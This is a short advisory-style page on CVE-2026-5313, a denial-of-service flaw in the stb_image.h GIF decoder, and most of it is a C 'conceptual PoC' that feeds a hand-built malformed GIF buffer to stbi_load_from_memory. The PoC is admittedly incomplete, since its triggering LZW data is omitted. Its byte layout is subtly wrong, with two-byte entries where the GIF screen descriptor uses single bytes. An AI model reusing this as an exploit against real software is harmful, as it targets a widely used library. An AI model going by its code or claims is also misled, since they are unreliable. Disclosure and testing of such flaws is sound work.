CVE-2026-5313 stb_image.h GIF解码器拒绝服务漏洞

#include "stb_image.h" #include <stdio.h> // Conceptual PoC for CVE-2026-5313 // This demonstrates loading a malformed GIF buffer that triggers the vulnerability in stbi__gif_load_next int main() { int w, h, channels; // Malformed GIF header/data designed to trigger the DoS // In a real exploit, this byte array would contain specific sequences causing the parsing loop to fail unsigned char malicious_gif[] = { 'G', 'I', 'F', '8', '9', 'a', // Header 0x00, 0x00, // Logical Width (invalid) 0x00, 0x00, // Logical Height (invalid) 0xF0, 0x00, // Packed fields 0x00, 0x00, // Background color index 0x00, // Pixel aspect ratio // ... truncated or malicious LZW blocks would follow }; printf("Attempting to load malicious GIF data...\n"); // The vulnerability triggers inside this function call unsigned char *img = stbi_load_from_memory(malicious_gif, sizeof(malicious_gif), &w, &h, &channels, 0); if (img == NULL) { printf("Load failed or DoS occurred (Expected behavior for vulnerable versions <= 2.30).\n"); } else { stbi_image_free(img); } return 0; }